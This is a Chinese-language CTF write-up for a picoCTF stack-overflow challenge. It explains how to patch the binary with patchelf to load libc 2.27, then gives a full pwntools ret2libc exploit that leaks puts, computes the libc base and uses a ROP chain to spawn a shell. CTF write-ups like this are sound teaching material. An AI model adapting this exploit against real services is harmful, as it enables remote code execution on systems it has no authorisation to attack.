直接运行不正确, 需要更换ld文件
libc版本是2.27的, 所以ld文件需要匹配成2.27的
用glibc-all-in-one下载debug组件, 里边有ld文件, 拷贝过去
用patchelf命令执行libc和ld文件的替换操作
patchelf --replace-needed libc.so.6 ./libc.so.6 ./alibc
patchelf --set-interpreter ./ld-2.27.so ./alibc
然后就能正常运行
栈溢出, ret2libc, 构造ROP调用system("/bin/sh")
这里第二次进main是没有初始化栈结构的, 所以Ubuntu18.04以后的系统因为有栈平衡机制的存在, 由调用者平衡栈, 导致需要在payload2处rop链前增加一个ret操作, 实现栈平衡, 再调用system("/bin/sh")
from pwn import *
from pwnlib import context
from pwnlib.util.cyclic import cyclic
context.log_level = "debug"
URL, PORT = "mercury.picoctf.net", 23584
sel = 0
io = process("./alibc") if sel == 0 else remote(URL, PORT)
elf = ELF("./alibc")
libc = ELF("./libc.so.6")
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
pad = 0x80 + 8
main_addr = elf.symbols['main']
pop_rdi_addr = 0x0000000000400913
ret_addr = 0x000000000040052e
puts_libc = libc.symbols['puts']
sys_symbols = libc.symbols['system']
binsh_symbols = next(libc.search(b'/bin/sh'))
payload1 = cyclic(pad) + p64(pop_rdi_addr) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
io.sendlineafter("WeLcOmE To mY EcHo sErVeR!\n", payload1)
io.recvline()
puts_addr = u64(io.recvline().strip().ljust(8, b'\x00'))
log.info(puts_addr)
libc_base = puts_addr - puts_libc
sys_addr = libc_base + sys_symbols
binsh_addr = libc_base + binsh_symbols
payload2 = cyclic(pad) + p64(ret_addr) + p64(pop_rdi_addr) + p64(binsh_addr) + p64(sys_addr)
io.sendlineafter("WeLcOmE To mY EcHo sErVeR!\n", payload2)
io.interactive()
总结
接收泄露的地址, 代码板子
leak_addr = u64(io.recvline().strip().ljust(8, b"\x00"))
更换libc版本, 需要更换libc和相应版本的ld文件
- libc
- ld
patchelf --replace-needed libc.so.6 [path to libc] ./file
patchelf --set-interpreter [path to ld] ./file